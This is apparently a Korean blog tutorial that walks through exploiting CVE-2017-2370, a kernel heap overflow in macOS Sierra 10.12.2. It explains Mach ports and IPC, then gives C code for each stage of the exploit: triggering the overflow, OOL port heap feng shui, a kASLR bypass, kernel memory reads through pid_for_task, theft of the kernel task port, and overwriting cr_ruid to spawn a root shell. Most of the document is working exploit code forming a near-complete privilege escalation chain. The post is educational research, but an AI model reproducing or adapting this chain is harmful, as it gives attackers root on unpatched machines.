본 문서에서는 macOS Sierra 10.12.2에서 발생했던 CVE-2017-2370 취약점을 이용해 공격을 시도하였으며, 이에 따라 익스플로잇 작성 시 필요한 정보를 제공한다.
배경 지식
OS X에서의 IPC (Interprocess Communication)
Mach는 클라이언트-서버 시스템 구조를 제공하기 때문에, 클라이언트가 서버에 요청함으로써 서비스 되어진다. macOS의 Mach에서 프로세스간 커뮤니케이션 채널의 말단을 Port라고 부르며, Port는 채널을 이용하기 위한 권한이다. 다음은 Mach에 의해 제공되는 IPC 종류다. (단, macOS의 IPC 구조가 바뀌고 있어서 이전 버전에서 제공되지 않는것도 있을 수 있다.)
Message Queues / Semaphores / Notifications / Lock Sets / RPCs
Mach port에 관하여
Mach Port : UNIX의 단방향 파이프라인과 비슷하며, 커널이 관리하는 메시지 큐. 다중 발신자, 하나의 수신자로 구성되어있다.
Port Rights (포트 권한) : Task 정보는 시스템 리소스의 집합체이며, 쉽게 말해 자원 소유권에 빗대어 말할 수 있다. 이러한 Task를 통해 포트에 액세스(Send, Receive, Send-Once) 할 수 있는데, 이를 포트 권한이라고 한다. (즉, Port는 Mach의 기본 보안 메커니즘이다.)
Send Right : 특정 메시지 큐에 제한 없이 데이터 삽입 시도
Send-Once Right : 특정 메시지 큐에 단일 메시지 데이터를 삽입 시도
Receive Right : 특정 메시지 큐에서 제한 없이 데이터 추출 시도
Port Sets : 구성원 중 하나로부터 메시지 또는 이벤트를 수신할 때 단일 단위로 취급 될 수 있는 포트 권한 세트
Portset Right : 여러 메시지 큐에서 특정 메시지 큐 제외 시도
Port Namespaces : 각 작업은 단일 포트 네임 스페이스가 연결되어 있으며, 작업이 포트 네임스페이스에 권한이 있는 경우에만 포트를 조작할 수 있다.
Dead-Name Right : 아무 작업도 하지 않음
간략한 함수 설명
kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags) : target에 *address를 인자 크기만큼 할당
kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size) : target의 adress 주소 인자 크기만큼 해제
task_t mach_task_self() : 작업 포트에 대한 전송 포트 권한을 받음
kern_return_t mach_port_allocate (ipc_space_t task, mach_port_right_t right, mach_port_name_t *name) : 지정한 유형의 포트 생성
kern_return_t mach_port_insert_right (ipc_space_t task, mach_port_name_t name, mach_port_poly_t right, mach_msg_type_name_t right_type) : TASK에 포트 권한 부여
mach_msg_return_t mach_msg (mach_msg_header_t msg, mach_msg_option_t option, mach_msg_size_t send_size, mach_msg_size_t receive_limit, mach_port_t receive_name, mach_msg_timeout_t timeout, mach_port_t notify) : 포트로부터 메시지를 보내거나 받음.
kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize) : 주어진 target task와 같은 영역에 있는 데이터를 사이즈만큼 읽어옴
kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt) : 주어진 target task 와 같은 영역에 있는 주소에 사이즈만큼 데이터를 씀
목차
Heap Overflow
OOL Port Fengshui
조작된 데이터 찾기
커널 주소 획득
현재 프로세스와 커널 프로세스 찾기
커널 권한 획득 ( AAR / AAW )
권한 상승 (user -> root)
(1) Heap Overflow
CVE-2017-2370은 macOS 10.12.2 이하 버전의 mach_voucher_extract_attr_recipe_trap(struct mach_voucher_extract_attr_recipe_args *args)에서 힙 오버플로우가 발생하는 취약점이다.
mach_voucher_extract_attr_recipe_args 구조체는 아래와 같다.
struct mach_voucher_extract_attr_recipe_args {
PAD_ARG_(mach_port_name_t, voucher_name);
PAD_ARG_(mach_voucher_attr_key_t, key);
PAD_ARG_(mach_voucher_attr_raw_recipe_t, recipe);
PAD_ARG_(user_addr_t, recipe_size);
};
/* osfmk/mach/mach_traps.h */
#define PAD_ARG_(arg_type, arg_name) \
char arg_name ##_l_[PADL_(arg_type)];
arg_type arg_name;
char arg_name ##_r_[PADR_(arg_type)];
mach_voucher_extract_attr_recipe_trap()을 호출할 때 넘기는 인자인 mach_voucher_extract_attr_recipe_args 구조체 내 mach_voucher_attr_raw_recipe_t recipe와, user_addr_t recipe_size값을 임의 조작이 가능하다. 따라서, 함수 내부에서 void* kalloc(vm_size_t size);으로 할당한 커널의 힙 영역에 int copyin(const void *uaddr, void *kaddr, size_t len);함수로 복사하며 이 때, 조작된 args->recipe_size를 가지고 있기 때문에 오버플로우가 발생한다.
특히, args->recipe도 조작할 수 있기 때문에 오버플로우시 임의 데이터를 작성할 수 있다.
Crash PoC Trigger code:
/* ---- FROM exp.m ---- */
uint64_t roundup(uint64_t val, uint64_t pagesize) {
val += pagesize - 1;
val &= ~(pagesize - 1);
return val;
}
void heap_overflow(uint64_t kalloc_size, uint64_t overflow_length, uint8_t* overflow_data, mach_port_t* voucher_port) {
int pagesize = getpagesize();
void* recipe_size = (void*)map(pagesize);
*(uint64_t*)recipe_size = kalloc_size;
uint64_t actual_copy_size = kalloc_size + overflow_length;
uint64_t alloc_size = roundup(actual_copy_size, pagesize) + pagesize;
uint64_t base = map(alloc_size); // unmap page
uint64_t end = base + roundup(actual_copy_size, pagesize);
mach_vm_deallocate(mach_task_self(), end, pagesize); // for copyin() stop
uint64_t start = end - actual_copy_size;
uint8_t* recipe = (uint8_t*)start;
memset(recipe, 0x41, kalloc_size); // set kalloc size
memcpy(recipe + kalloc_size, overflow_data, overflow_length); // set overflow bytes
kern_return_t err = mach_voucher_extract_attr_recipe_trap(voucher_port, 1, recipe, recipe_size); // Trigger
}
/* -------------------- */
---
mach_port_t* voucher_port = MACH_PORT_NULL;
mach_voucher_attr_recipe_data_t atm_data = {
.key = MACH_VOUCHER_ATTR_KEY_ATM,
.command = MACH_VOUCHER_ATTR_ATM_CREATE
};
kern_return_t err = host_create_mach_voucher(mach_host_self(), (mach_voucher_attr_raw_recipe_array_t)&atm_data, sizeof(atm_data), &voucher_port);
ipc_object* fake_port = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0); // alloc fake_port
void* fake_task = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0); // alloc fake_task
fake_port->io_bits = IO_BITS_ACTIVE | IKOT_CLOCK; // for clock trap
fake_port->io_lock_data[12] = 0x11;
printf("[+] Create Fake Port. Address : %llx\n", (unsigned long long)fake_port);
heap_overflow(0x100, 0x8, (unsigned char *)&fake_port, voucher_port);
(2) OOL Port Fengshui
이전 블로그 시리즈에서 OOL Port에 대해 잠깐 언급하였듯이, 커널 힙에 데이터를 넣어 스프레이 및 풍수 기법을 사용하고자 OOL Port를 사용한다. 그 이유는 OOL Port 데이터가 수신 전까지 커널에서 보존되기 때문이다.
포트 풍수의 단계를 간략히 설명하면 아래와 같다:
대량의 포트 생성
메시지 생성 (송신용, 수신용)
주소로 사용되어질 더미 포트(MACH_PORT_DEAD) 다수 생성
메시지 송신
메시지 수신
메시지 재송신
위의 과정을 거치면, OS가 송신과 수신을 반복한 포트가 모여 있는 주소 주변에 데이터를 할당해준다.
사용된 코드는 아래와 같다:
struct ool_send_msg{
mach_msg_header_t msg_head;
mach_msg_body_t msg_body;
mach_msg_ool_ports_descriptor_t msg_ool_ports[16];
};
struct ool_recv_msg{
mach_msg_header_t msg_head;
mach_msg_body_t msg_body;
mach_msg_ool_ports_descriptor_t msg_ool_ports[16];
mach_msg_trailer_t msg_trailer;
};
struct ool_send_msg send_msg;
struct ool_recv_msg recv_msg;
mach_port_t* ool_port_fengshui(){
int current_port_num = 0;
mach_port_t* ool_ports;
ool_ports = calloc(PORT_COUNT, sizeof(mach_port_t));
// Part 1. Create OOL Ports
for(current_port_num = 0; current_port_num < PORT_COUNT; current_port_num++){ // Alloc 1024 Ports
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ool_ports[current_port_num]); // Alloc Port
mach_port_insert_right(mach_task_self(), ool_ports[current_port_num], ool_ports[current_port_num], MACH_MSG_TYPE_MAKE_SEND); // MACH_MSG_TYPE_MAKE_SEND Right Set.
}
// Part 2. Create Message Buffer (Spray)
mach_port_t* use_ports = calloc(1024, sizeof(mach_port_t));
for(int i = 0; i <= 1024; i++){
use_ports[i] = MACH_PORT_DEAD;
}
/* Set MSG HEADER */
send_msg.msg_head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
send_msg.msg_head.msgh_size = sizeof(struct ool_send_msg) - 16;
send_msg.msg_head.msgh_remote_port = MACH_PORT_NULL;
send_msg.msg_head.msgh_local_port = MACH_PORT_NULL; // NULL SEND
send_msg.msg_head.msgh_reserved = 0x00;
send_msg.msg_head.msgh_id = 0x00;
/* SET MSG BODY */
send_msg.msg_body.msgh_descriptor_count = 1;
/* SET MSG OOL PORT DESCRIPTOR */
for(int i = 0; i<=16; i++){ // appropriate ipc-send size
send_msg.msg_ool_ports[i].address = use_ports;
send_msg.msg_ool_ports[i].count = 32; // kalloc 0x100 (256)
send_msg.msg_ool_ports[i].deallocate = 0x00;
send_msg.msg_ool_ports[i].copy = MACH_MSG_PHYSICAL_COPY;
send_msg.msg_ool_ports[i].disposition = MACH_MSG_TYPE_MAKE_SEND;
send_msg.msg_ool_ports[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
}
// Part 3. Message Fengshui
/* SEND MSG */
for(current_port_num = 0; current_port_num < USE_PORT_START; current_port_num++){
send_msg.msg_head.msgh_remote_port = ool_ports[current_port_num];
kern_return_t send_result = mach_msg(&send_msg.msg_head, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, send_msg.msg_head.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if(send_result != KERN_SUCCESS){
printf("[-] Error in OOL Fengshui send\nError : %s\n", mach_error_string(send_result));
exit(1);
}
}
for(current_port_num = USE_PORT_END; current_port_num < PORT_COUNT; current_port_num++){
send_msg.msg_head.msgh_remote_port = ool_ports[current_port_num];
kern_return_t send_result = mach_msg(&send_msg.msg_head, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, send_msg.msg_head.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if(send_result != KERN_SUCCESS){
printf("[-] Error in OOL Fengshui send\nError : %s\n", mach_error_string(send_result));
exit(1);
}
}
for(current_port_num = USE_PORT_START; current_port_num < USE_PORT_END; current_port_num++){
send_msg.msg_head.msgh_remote_port = ool_ports[current_port_num];
kern_return_t send_result = mach_msg(&send_msg.msg_head, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, send_msg.msg_head.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if(send_result != KERN_SUCCESS){
printf("[-] Error in OOL Fengshui send\nError : %s\n", mach_error_string(send_result));
exit(1);
}
}
/* RECV MSG */
for(current_port_num = USE_PORT_START; current_port_num < USE_PORT_END; current_port_num += 4){
recv_msg.msg_head.msgh_local_port = ool_ports[current_port_num];
kern_return_t recv_result = mach_msg(&recv_msg.msg_head, MACH_RCV_MSG | MACH_MSG_OPTION_NONE, 0, sizeof(struct ool_recv_msg), ool_ports[current_port_num], MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if(recv_result != KERN_SUCCESS){
printf("[-] Error in OOL Fengshui recv\nError : %s\n", mach_error_string(recv_result));
exit(1);
}
}
/* RE-SEND MSG */
for(current_port_num = USE_PORT_START; current_port_num < USE_PORT_HALF; current_port_num += 4){
send_msg.msg_head.msgh_remote_port = ool_ports[current_port_num];
kern_return_t send_result = mach_msg(&send_msg.msg_head, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, send_msg.msg_head.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if(send_result != KERN_SUCCESS){
printf("[-] Error in OOL Fengshui re-send\nError : %s\n", mach_error_string(send_result));
exit(1);
}
}
printf("[+] OOL Port Fengshui Success\n");
return ool_ports;
}
앞서 나열한 단계들을 진행하기 위해 mach_msg()에서 사용될 메시지 구조(ool_send_msg, ool_recv_msg)를 선언한다. 이 때, kalloc.256에 데이터를 배치하기 위해 msg_ool_ports.count는 32로 설정했다.
위 메시지는 너무 커서도 안되고, 작아서도 안되기 때문에 적절한 크기를 가진 사이즈 멤버들로 구성해야 한다. 이후 전송-수신-재전송 과정을 거치면 포트 풍수 준비가 끝나며, OS는 해당 영역을 사용할 준비가 된다. 이 시점에서 오버플로우를 발생 시키면 desc의 ipc_port 를 덮게 되고 공격자 입장에서 덮인 데이터를 알고 있으며, 그 데이터를 마음껏 조작할 수 있기 때문에 공격이 수월해진다.
(3) 조작된 데이터 찾기
재전송 과정을 거친 포트를 주변으로 하여 오버플로우가 발생했을 것이며, 그 포트를 찾아야 한다. 참조 대상은 포트에서 사용된 descriptor의 address 멤버 (앞 단계에서 미리 더미 데이터로 채워 두었음)이며 해당 포트가 변경되었는지와 유효한 포트인지 확인한다.
사용된 코드는 다음과 같다:
h_port_t* find_manipulation_port(mach_port_t* port_list){
for(int i = 0; i < USE_PORT_END; i++){
send_msg.msg_head.msgh_local_port = port_list[i];
kern_return_t send_result = mach_msg(&send_msg.msg_head, MACH_RCV_MSG | MACH_MSG_OPTION_NONE, 0, sizeof(struct ool_send_msg), port_list[i], MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
for(int k = 0; k < send_msg.msg_body.msgh_descriptor_count; k++){ // traversing ool descriptors
mach_port_t* tmp_port = send_msg.msg_ool_ports[k].address;
if(tmp_port[0] != MACH_PORT_DEAD && tmp_port[0] != NULL){ // is Manipulated? (compare 8 bytes is enough. cuz of 8 bytes overflow)
printf("[+] Found manipulated port! %dth port : %dth descriptor => %llx\n", i, k, tmp_port[0]);
return tmp_port[0];
}
}
}
printf("[-] Error in Find Manipulated Port\n");
exit(1);
}
(4) 커널 주소 획득
macOS에서는 메모리 보호기법으로 커널 주소를 랜덤화하는 kASLR을 사용한다. 따라서, 포트 주소를 가지고 있으며 임의조작이 가능한 경우 시스템 트랩인 clock_sleep_trap()을 사용해 커널 내 동적으로 로드되는 clock_list를 구할 수 있게 된다.
사용된 코드는 아래와 같다:
uint64_t get_clock_list_addr(uint64_t fake_port, mach_port_t* manipulated_port){
for(uint64_t guess_clock_addr = 0xffffff8000200000; guess_clock_addr < 0xffffff80F0200000; guess_clock_addr++){
*(uint64_t *)(fake_port + TASK_GAP_IN_IPC_OBJ) = guess_clock_addr; // Traverse address
*(uint64_t *)(fake_port + 0xa0) = 0xff;
if(clock_sleep_trap(manipulated_port, 0, 0, 0, 0) == KERN_SUCCESS){
printf("[+] found clock_list addr : %llx\n", guess_clock_addr);
return (guess_clock_addr);
}
}
printf("[-] Find clock_list addr failed.\n");
exit(1);
}
오버플로우 시킨 데이터는 현재 유저 영역에서 생성한 포트를 가리키고 있으며, 이것은 원래 ipc_object를 가리키던 영역이다. 따라서, 해당 구조체의 task를 커널의 텍스트 베이스부터 설정한 후 클락 슬립 트랩을 발생시키고 성공한 경우에는 클락 리스트를 포인팅 하고있다는 의미가 된다.
위의 과정을 통해 커널 내 주소를 획득 했으니 간단한 커널 헤더(0xfeedfacf) 비교를 통해 주소를 획득할 수 있다.
사용된 코드는 아래와 같다:
uint64_t get_kernel_addr(uint64_t fake_port, void* fake_task, uint64_t clock_list_addr, mach_port_t* manipulated_port){
*(uint64_t*) (fake_port + TASK_GAP_IN_IPC_OBJ) = fake_task;
*(uint64_t*) (fake_port + 0xa0) = 0xff;
*(uint64_t*) (fake_task + 0x10) = 0x01;
clock_list_addr &= ~(0x3FFF);
for(uint64_t current_addr = clock_list_addr; current_addr > 0xffffff8000200000; current_addr-=0x4000) {
int32_t kernel_data = 0;
*(uint64_t*) (fake_task + TASK_INFO_GAP) = current_addr - 0x10;
pid_for_task(manipulated_port, &kernel_data);
if (kernel_data == 0xfeedfacf) {
printf("[+] Found kernel_text addr : %llx\n", current_addr);
return current_addr;
}
}
}
커널 주소는 0x4000 정렬되므로 클락 리스트의 하위 14비트는 제거 해준 뒤, 정렬 크기만큼 감소시키며 비교해주면 된다. 이 때, pid_for_task()를 사용하는데 이는 유저레벨에서 커널 메모리를 읽기 위해 사용된다. 일반적으로 유저 모드에서 커널 메모리를 읽을수 없기 때문에, 가지고 있는 포트를 사용하여 pid_for_task()를 호출해 커널 메모리를 읽는 트릭이다.
pid_for_task() 함수는 원래 Mach 태스크를 매개로하여 BSD 프로세스 ID를 구하는 함수이며, 아래처럼 정의되어 있다. [bsd/vm/vm_unix.c]
kern_return_t
pid_for_task(
struct pid_for_task_args *args)
{
mach_port_name_t t = args->t;
user_addr_t pid_addr = args->pid;
proc_t p;
task_t t1;
int pid = -1;
kern_return_t err = KERN_SUCCESS;
AUDIT_MACH_SYSCALL_ENTER(AUE_PIDFORTASK);
AUDIT_ARG(mach_port1, t);
t1 = port_name_to_task(t);
if (t1 == TASK_NULL) {
err = KERN_FAILURE;
goto pftout;
} else {
p = get_bsdtask_info(t1);
if (p) {
pid = proc_pid(p);
err = KERN_SUCCESS;
} else if (is_corpsetask(t1)) {
pid = task_pid(t1);
err = KERN_SUCCESS;
}else {
err = KERN_FAILURE;
}
}
task_deallocate(t1);
pftout:
AUDIT_ARG(pid, pid);
(void) copyout((char *) &pid, pid_addr, sizeof(int));
AUDIT_MACH_SYSCALL_EXIT(err);
return(err);
}
즉, get_bsdtask_info(t1)후 proc_pid()를 이용해 PID 값을 읽어오는것을 이용하여 커널 메모리를 읽을 수 있다.
(5) 현재 프로세스와 커널 프로세스 찾기
macOS에서는 현재 실행중인 모든 프로세스의 정보를 _allproc에 저장하고 있다.
extern struct proclist allproc; /* List of all processes. */
_allproc은 연결리스트 구조로 프로세스를 링킹하고 있으며, nm /mach_kernel|grep allproc 명령어를 통해 오프셋을 구할 수 있다.
아래는 proc의 구조체 정보이다. [bsd/sys/proc_internal.h]
struct proc {
LIST_ENTRY(proc) p_list; /* List of all processes. */
pid_t p_pid; /* Process identifier. (static)*/
void * task; /* corresponding task (static)*/
struct proc * p_pptr; /* Pointer to parent process.(LL) */
pid_t p_ppid; /* process's parent pid number */
pid_t p_pgrpid; /* process group id of the process (LL)*/
uid_t p_uid;
gid_t p_gid;
uid_t p_ruid;
gid_t p_rgid;
uid_t p_svuid;
gid_t p_svgid;
uint64_t p_uniqueid; /* process unique ID - incremented on fork/spawn/vfork, remains same across exec. */
uint64_t p_puniqueid; /* parent's unique ID - set on fork/spawn/vfork, doesn't change if reparented. */
lck_mtx_t p_mlock; /* mutex lock for proc */
char p_stat; /* S* process status. (PL)*/
char p_shutdownstate;
char p_kdebug; /* P_KDEBUG eq (CC)*/
char p_btrace; /* P_BTRACE eq (CC)*/
LIST_ENTRY(proc) p_pglist; /* List of processes in pgrp.(PGL) */
LIST_ENTRY(proc) p_sibling; /* List of sibling processes. (LL)*/
LIST_HEAD(, proc) p_children; /* Pointer to list of children. (LL)*/
TAILQ_HEAD( , uthread) p_uthlist; /* List of uthreads (PL) */
LIST_ENTRY(proc) p_hash; /* Hash chain. (LL)*/
TAILQ_HEAD( ,eventqelt) p_evlist; /* (PL) */
#if CONFIG_PERSONAS
struct persona *p_persona;
LIST_ENTRY(proc) p_persona_list;
#endif
lck_mtx_t p_fdmlock; /* proc lock to protect fdesc */
lck_mtx_t p_ucred_mlock; /* mutex lock to protect p_ucred */
/* substructures: */
kauth_cred_t p_ucred; /* Process owner's identity. (PUCL) */
struct filedesc *p_fd; /* Ptr to open files structure. (PFDL) */
struct pstats *p_stats; /* Accounting/statistics (PL). */
struct plimit *p_limit; /* Process limits.(PL) */
struct sigacts *p_sigacts; /* Signal actions, state (PL) */
int p_siglist; /* signals captured back from threads */
lck_spin_t p_slock; /* spin lock for itimer/profil protection */
이하 생략...
실제 pid_for_task()의 용도(PID 구하기)처럼 프로세스를 트레버싱하며 원하는 PID를 가진 프로세스를 찾을 수 있다.
사용된 코드는 아래와 같다:
uint64_t get_proc_addr(uint64_t pid, uint64_t kernel_addr, void* fake_task, mach_port_t* manipulated_port){
uint64_t allproc_real_addr = 0xffffff8000ABB490 - 0xffffff8000200000 + kernel_addr;
uint64_t pCurrent = allproc_real_addr;
uint64_t pNext = pCurrent;
while (pCurrent != NULL) {
int nPID = 0;
*(uint64_t*) (fake_task + TASK_INFO_GAP) = pCurrent;
pid_for_task(manipulated_port, (int32_t*)&nPID);
if (nPID == pid) {
return pCurrent;
}
else{
*(uint64_t*) (fake_task + TASK_INFO_GAP) = pCurrent - 0x10;
pid_for_task(manipulated_port, (int32_t*)&pNext);
*(uint64_t*) (fake_task + TASK_INFO_GAP) = pCurrent - 0x0C;
pid_for_task(manipulated_port, (int32_t*)(((uint64_t)(&pNext)) + 4));
pCurrent = pNext;
}
}
}
(6) 커널 권한 획득 ( AAR / AAW )
권한 상승을 위해, 즉 커널의 권한을 얻기 위해 얻어야할 정보는 커널 프로세스가 가진 포트 권한과 Kernel Task 이다.
사용된 코드는 아래와 같다.
dumpdata* get_kernel_priv(uint64_t kernel_process, uint64_t* fake_port, void* fake_task, mach_port_t* manipulated_port){
dumpdata* data = (dumpdata *)malloc(sizeof(dumpdata));
data->dump_port = malloc(0x1000);
data->dump_task = malloc(0x1000);
uint64_t kern_task = 0;
*(uint64_t*) (fake_task + TASK_INFO_GAP) = (kernel_process + 0x18) - 0x10 ;
pid_for_task(manipulated_port, (int32_t*)&kern_task);
*(uint64_t*) (fake_task + TASK_INFO_GAP) = (kernel_process + 0x1C) - 0x10;
pid_for_task(manipulated_port, (int32_t*)(((uint64_t)(&kern_task)) + 4));
uint64_t itk_kern_sself = 0;
*(uint64_t*) (fake_task + TASK_INFO_GAP) = (kern_task + ITK_KERN_SSELF_GAP_IN_TASK) - 0x10;
pid_for_task(manipulated_port, (int32_t*)&itk_kern_sself);
*(uint64_t*) (fake_task + TASK_INFO_GAP) = (kern_task + ITK_KERN_SSELF_GAP_IN_TASK + 4) - 0x10;
pid_for_task(manipulated_port, (int32_t*)(((uint64_t)(&itk_kern_sself)) + 4));
data->dump_itk_kern_sself = itk_kern_sself;
for (int i = 0; i < 256; i++) {
*(uint64_t*) (fake_task + TASK_INFO_GAP) = (itk_kern_sself + i*4) - 0x10;
pid_for_task(manipulated_port, (int32_t*)(data->dump_port + (i*4)));
}
for (int i = 0; i < 256; i++) {
*(uint64_t*) (fake_task + TASK_INFO_GAP) = (kern_task + i*4) - 0x10;
pid_for_task(manipulated_port, (int32_t*)(data->dump_task + (i*4)));
}
return data;
}
이전 과정에서, 커널 프로세스의 주소를 획득했기 때문에 커널 task를 쉽게 획득할 수 있다. (이전 언급한 struct proc 참고)그런 다음, 포트 권한을 획득하기 위해 task 구조체 안에 있는 포트권한 정보(itk_kern_sself)를 획득해야 하는데, task 구조체는 다음과 같다. [osfmk/kern/task.h]
struct task {
/* Synchronization/destruction information */
decl_lck_mtx_data(,lock) /* Task's lock */
uint32_t ref_count; /* Number of references to me */
boolean_t active; /* Task has not been terminated */
boolean_t halting; /* Task is being halted */
/* Miscellaneous */
vm_map_t map; /* Address space description */
queue_chain_t tasks; /* global list of tasks */
void *user_data; /* Arbitrary data settable via IPC */
#if defined(CONFIG_SCHED_MULTIQ)
sched_group_t sched_group;
#endif /* defined(CONFIG_SCHED_MULTIQ) */
/* Threads in this task */
queue_head_t threads;
processor_set_t pset_hint;
struct affinity_space *affinity_space;
int thread_count;
uint32_t active_thread_count;
int suspend_count; /* Internal scheduling only */
/* User-visible scheduling information */
integer_t user_stop_count; /* outstanding stops */
integer_t legacy_stop_count; /* outstanding legacy stops */
integer_t priority; /* base priority for threads */
integer_t max_priority; /* maximum priority for threads */
integer_t importance; /* priority offset (BSD 'nice' value) */
/* Task security and audit tokens */
security_token_t sec_token;
audit_token_t audit_token;
/* Statistics */
uint64_t total_user_time; /* terminated threads only */
uint64_t total_system_time;
/* Virtual timers */
uint32_t vtimers;
/* IPC structures */
decl_lck_mtx_data(,itk_lock_data)
struct ipc_port *itk_self; /* not a right, doesn't hold ref */
struct ipc_port *itk_nself; /* not a right, doesn't hold ref */
struct ipc_port *itk_sself; /* a send right */
struct exception_action exc_actions[EXC_TYPES_COUNT];
/* a send right each valid element */
struct ipc_port *itk_host; /* a send right */
struct ipc_port *itk_bootstrap; /* a send right */
struct ipc_port *itk_seatbelt; /* a send right */
struct ipc_port *itk_gssd; /* yet another send right */
struct ipc_port *itk_debug_control; /* send right for debugmode commu
nications */
struct ipc_port *itk_task_access; /* and another send right */
struct ipc_port *itk_resume; /* a receive right to resume this task */
struct ipc_port *itk_registered[TASK_PORT_REGISTER_MAX];
/* all send rights */
struct ipc_space *itk_space;
이하 생략...
이를 통해 커널의 task 주소와 포트권한 주소를 알아냈기 때문에 해당 데이터를 유저영역에 복사하여 커널의 권한을 간접적으로 사용할 수 있다. 즉, 조작된 포트는 fake_port를 가리키고 있고 fake_port는 커널 포트 권한을 가지고있기 때문에 task_get_speical_port()를 통해 임의 포트에서 커널 포트 권한을 사용할 수 있게 된다.
(7) 권한 상승 (user -> root)
이제 커널의 권한을 획득하였기 때문에 AAR/AAW가 mach_vm_read_overwrite()와 mach_vm_write()를 통해 가능해졌다. 이전 블로그 포스트에도 설명했지만, UCRED 구조체의 CR_RUID를 변경하면 프로세스 권한이 변경된다. proc 구조체 내부에 typedef struct ucred *kauth_cred_t; 로 정의된 kauth_cred_tp_ucred;가 저장되어 있다.
ucred 구조체는 아래와 같기 때문에 cr_ruid 를 수정하면 된다.
/*
* In-kernel credential structure.
*
* Note that this structure should not be used outside the kernel, nor should
* it or copies of it be exported outside.
*/
struct ucred {
TAILQ_ENTRY(ucred) cr_link; /* never modify this without KAUTH_CRED_HASH_LOCK */
u_long cr_ref; /* reference count */
struct posix_cred {
/*
* The credential hash depends on everything from this point on
* (see kauth_cred_get_hashkey)
*/
uid_t cr_uid; /* effective user id */
uid_t cr_ruid; /* real user id */
uid_t cr_svuid; /* saved user id */
short cr_ngroups; /* number of groups in advisory list */
gid_t cr_groups[NGROUPS]; /* advisory group list */
gid_t cr_rgid; /* real group id */
gid_t cr_svgid; /* saved group id */
uid_t cr_gmuid; /* UID for group membership purposes */
int cr_flags; /* flags on credential */
} cr_posix;
struct label *cr_label; /* MAC label */
/*
* NOTE: If anything else (besides the flags)
* added after the label, you must change
* kauth_cred_find().
*/
struct au_session cr_audit; /* user auditing data */
};
루트 권한을 얻기 위해 데이터를 쓰는 코드는 다음과 같다.
uint64_t cred;
mach_vm_size_t read_bytes = 8;
mach_vm_read_overwrite(kernel_port, (current_process + UCRED_GAP_IN_PROCESS), (size_t)8, (mach_vm_offset_t)(&cred), &read_bytes); // AAR in Kernel
vm_offset_t root_uid = 0;
mach_msg_type_number_t write_bytes = 8;
mach_vm_write(kernel_port, (cred + CR_RUID_GAP_IN_UCRED), &root_uid, (mach_msg_type_number_t)write_bytes); // AAW in Kernel
system("/bin/bash"); // Get Shell